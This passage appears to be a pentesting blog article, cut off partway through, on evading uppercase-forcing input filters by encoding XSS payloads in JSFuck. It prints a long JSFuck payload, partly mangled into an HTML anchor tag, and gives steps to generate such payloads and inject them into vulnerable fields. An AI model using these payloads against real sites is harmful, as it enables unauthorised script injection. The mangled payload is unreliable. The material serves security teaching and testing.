Bypassing XSS Filters with JSFuck: A Pentester’s Creative Exploit

By /

Listen to this Post

Featured Image

Introduction:

Cross-Site Scripting (XSS) remains a prevalent web vulnerability, but modern defenses often include input sanitization, such as forcing uppercase letters. In this article, we explore how JSFuck—an esoteric JavaScript subset—can bypass such filters, enabling successful XSS exploitation even when traditional payloads fail.

Learning Objectives:

  • Understand how JSFuck encodes JavaScript into a limited character set.
  • Learn to craft JSFuck payloads for XSS evasion.
  • Discover real-world pentesting scenarios where JSFuck proves effective.

1. What is JSFuck?

JSFuck is an obfuscation technique that converts JavaScript into code using only six characters: [, ], (, ), !, and +. This allows execution of arbitrary JavaScript even when input filters block standard payloads.

Example JSFuck Payload:

[][(![]+[])[+!+[]]+(!![]+[])[+[]]]<a href="(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]">([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]</a>()

How It Works:

  • The payload dynamically constructs and executes JavaScript using only []()!+.
  • Since it avoids letters, it bypasses uppercase filters.

2. Crafting a JSFuck Payload

Use jsfuck.com to convert standard JavaScript into JSFuck format.

Example Conversion:

1. Input: `alert(1)`

2. Output: A JSFuck-encoded payload that executes `alert(1)`.

Testing the Payload:

  • Inject into a vulnerable input field.
  • If the payload executes, XSS is confirmed.

3. Real-World Pentesting Use Case

Scenario:

  • A web app converts all `